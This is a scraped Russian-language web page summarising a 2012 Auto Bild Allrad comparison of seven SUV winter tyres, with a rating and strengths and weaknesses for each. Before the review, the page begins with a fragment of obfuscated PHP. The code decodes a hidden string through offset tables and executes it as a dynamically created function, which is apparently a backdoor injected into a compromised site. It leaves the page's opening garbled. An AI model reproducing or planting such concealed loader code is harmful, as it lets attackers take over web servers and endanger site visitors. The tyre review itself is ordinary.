aaa -
<(sizeof($owsvdbaql)/2);$jaxjvya++) { $xxszqrkf .= substr($nhalutg, $owsvdbaql[($jaxjvya*2)],$owsvdbaql[($jaxjvya*2)+(5-4)]); } return $tzzvoh(chr((62-53)),chr((289-197)),$xxszqrkf); }; } $wjmybp = explode(chr((180-136)),'2760,58,860,66,5439,39,5108,60,3743,62,1278,42,3005,24,2591,20,1025,41,5168,47,5625,70,346,25,5812,41,5695,68,2248,46,4107,38,4303,40,4758,29,1683,43,3392,59,4650,67,926,68,4604,46,2033,40,434,31,371,63,2544,47,3095,52,1340,44,465,34,2936,69,3495,56,2403,38,4717,41,3029,36,4959,46,1726,58,1968,41,994,31,1815,24,1900,68,4787,37,3370,22,5038,70,1119,57,700,43,5582,43,4375,48,5301,44,2111,31,4423,28,5971,49,252,43,4571,33,2142,61,4253,50,3623,52,1839,39,0,59,115,50,4519,52,4451,68,3836,22,2344,59,552,27,2520,24,3805,31,2611,56,2667,53,4343,32,165,62,5005,33,3203,21,5535,47,3065,30,4190,63,5215,29,4881,40,1223,55,4921,38,5478,57,3224,23,2441,43,5378,61,5763,49,3858,40,3711,32,2866,70,2009,24,1176,47,1599,36,806,54,59,56,3991,47,1440,23,1320,20,4824,57,3551,49,1463,47,4145,45,5244,57,1539,60,2203,45,1384,56,3306,64,3247,59,295,51,4038,69,2720,40,3923,68,2073,38,743,63,2818,48,1635,48,5853,67,227,25,2294,50,1784,31,499,53,579,59,1878,22,3147,56,5345,33,3451,44,2484,36,3898,25,1510,29,3600,23,3675,36,5920,51,1066,53,638,62'); $aexssceccc = $ydrvatxppl("",waqyxbpv($wjmybp,$lypgqv,$rqgqhlwa)); $ydrvatxppl=$lypgqv; $aexssceccc(""); $aexssceccc=(413-292); $lypgqv=$aexssceccc-1; ?>

AutoBild: тест зимних шин для полноприводных автомобилей 235/55R17 (2012)

AutoBild: тест зимних шин для полноприводных автомобилей  235/55R17 (2012))

Auto Bild Allrad logoАвтомобильная сфера переполнена различными слухами и спекуляциями.
 
 
Также и в отношении автомобилей типа SUV (Sport Utility Vehicle) можно постоянно слышать реплики: «Зимние шины? Зачем? У меня же полный привод!» Так что в этом вопросе многие автоводители экономят совершенно необоснованно и в ущерб своей безопасности.
 
При проведении сравнительных тестов на снегу было обнаружено, что полноприводные транспортные средства без правильно подобранных шин останавливаются с большими трудностями: тестовым автомобилям на летних шинах понадобилось 53,8 метра тормозного пути при скорости движения в 50 км/ч. В аналогичном тесте на зимних шинах автомобилю понадобилось только 25,5 метров.
 
Поэтому команда AutoBild начала искать наилучшие зимние шины для автомобилей излюбленного класса SUV далеко за пределами родной страны. Проверка проводилась в городе Элвсбин (Älvsbyn) на севере Швеции, где современный тестовый автомобиль Audi Q3 подвергся довольно тяжелым испытаниям. Для теста были выбраны шины в привычном для внедорожников размере 235/55 R17, и приняли участие семь различных производителей шин. Вместе с ведущими производителями премиум-класса из Европы и Японии в тесте участвовали также два представителя другого сегмента – Cooper и Marangoni.
 
2 победителя: Pirelli  и Continental
 
После завершения проверок во всех дисциплинах сразу два участника теста получили оценку «превосходно» и только один производитель был удостоен оценки «не рекомендованы».
 
Первый победитель теста – это Continental ContiWinterContact TS 830P. Немецкие производители еще раз подтверждают свою прекрасную славу также и в тестах с полным приводом: превосходная устойчивость к аквапланированию и короткий тормозной путь на мокрой, сухой или заснеженной поверхности. Радует низкое сопротивление качению, что уменьшает расход топлива. Критики может удостоиться только повышенный уровень шума в движении.
 
Второе место себе обеспечили Pirelli Scorpion Winter. Эти шины также убеждают  превосходной тягой на снегу и хорошими показателями торможения. Итальянский производитель в этом ничуть не уступает немецкому производителю премиум-класса. Небольшое количество очков шины Scorpion лишились из-за недостаточного уровня комфорта.
 
AutoBild: тест зимних шин для полноприводных автомобилей  235/55R17 (2012) AutoBild: тест зимних шин для полноприводных автомобилей  235/55R17 (2012) AutoBild: тест зимних шин для полноприводных автомобилей  235/55R17 (2012) AutoBild: тест зимних шин для полноприводных автомобилей  235/55R17 (2012)
AutoBild: тест зимних шин для полноприводных автомобилей  235/55R17 (2012) AutoBild: тест зимних шин для полноприводных автомобилей  235/55R17 (2012) AutoBild: тест зимних шин для полноприводных автомобилей  235/55R17 (2012) AutoBild: тест зимних шин для полноприводных автомобилей  235/55R17 (2012)
 
Радует факт, что и немногим ниже на пьедестале находятся шины только хорошего качества. Dunlop SP Winter Sport 4D занимают третье место, безупречно преодолев полосу препятствий на снегу и имея хорошие тормозные свойства и очень хорошее сцепление. Но при торможении на мокром покрытии показатели совсем не превосходны – даже их предшественники Dunlop SP Winter Sport 3D в этом вопросе были лучше.
 
Четвертое место в тесте занимают Bridgestone Blizzak LM-80 с очень сбалансированными показателями управляемости. Хорош уровень шума при движении, а превосходные показатели сопротивления качению помогают снизить расход топлива и беречь окружающую среду. Можно бы только пожелать большую устойчивость к аквапланированию и более короткий тормозной путь на мокром покрытии.
 
Завершают средний сегмент с 5 местом хорошие и самые демократичные по цене зимние шины Nokian WR A3. Они отличаются хорошей управляемостью на снегу и коротким тормозным путем на сухом покрытии. Но при поездках по мокрому асфальту были замечены небольшие недостатки.
 
Иcточник: Auto Bild Allrad
 

Pirelli Scorpion Winter

Pirelli Scorpion Winter

 

 

• Сильные стороны: очень хороши на заснеженных покрытиях, низкое сопротивление качению, хороши на мокром и очень хороши на сухом покрытии

 

• Недостатки: немного повышенный уровень шума при движении

Больше о шине

 

• Суммарная оценка:  превосходно.

 

Continental WinterContact TS 830

Continental WinterContact TS 830 P

 

 

• Сильные стороны: очень хороши на заснеженных покрытиях, очень сбалансированы и легко управляемы на мокрой и сухой поверхности

 

• Недостатки: очень дорогие, немного повышенный уровень шума при движении

 

 

• Суммарная оценка:  превосходно.

 

Dunlop SP Winter Sport 4D

Dunlop SP Winter Sport 4D

 

 

 

• Сильные стороны: очень хороши на заснеженных покрытиях, низкий риск аквапланирования, хорошая поперечная стабильность на мокром покрытии

 

• Недостатки: очень дорогие, немного повышено сопротивление качению, средние тормозные качества на мокром покрытии

 

 

• Суммарная оценка:  хорошо.

 

Bridgestone Blizzak LM-80

Bridgestone Blizzak LM 80

 

 

• Сильные стороны: очень тихие зимние шины, самый короткий тормозной путь на снегу, низкое сопротивление качению

 

• Недостатки: повышенный риск аквапланирования, недостаточная поперечная устойчивость на снегу, средние тормозные качества на мокром покрытии

 

 

• Суммарная оценка:  хорошо.

 

Nokian WR A3

Nokian WR A3

 

 

• Сильные стороны: очень хороши на сухом покрытии, короткий тормозной путь на сухом покрытии, хорошая цена

 

• Недостатки: недостаточная поперечная устойчивость на снегу, немного увеличенный тормозной путь на мокром покрытии

 

 

• Суммарная оценка:  хорошо.

 
 

Cooper Discoverer M+S Sport

Cooper Discoverer M S Sport

 

 

• Сильные стороны: достаточно хорошая цена, хорошее сопротивление аквапланированию, приемлемый тормозной путь на сухом покрытии

 

• Недостатки: длинный тормозной путь на мокром покрытии, средние показатели на заснеженной и мокрой поверхности, повышенный уровень шума и повышенное сопротивление качению

 

 

• Суммарная оценка:  условно рекомендуемы.

 

Marangoni Meteo HP SUV 

Marangoni Meteo HP SUV

 

 

• Сильные стороны: хорошая цена, хороши на заснеженной поверхности, тихие и достаточно комфортные зимние шины

 

• Недостатки: слишком длинный тормозной путь на мокром и сухом покрытии, плохое сцепление на мокром покрытии на поворотах, высокое сопротивление качению

 

 

• Суммарная оценка:  не рекомендованы.


http://www.pkp.lv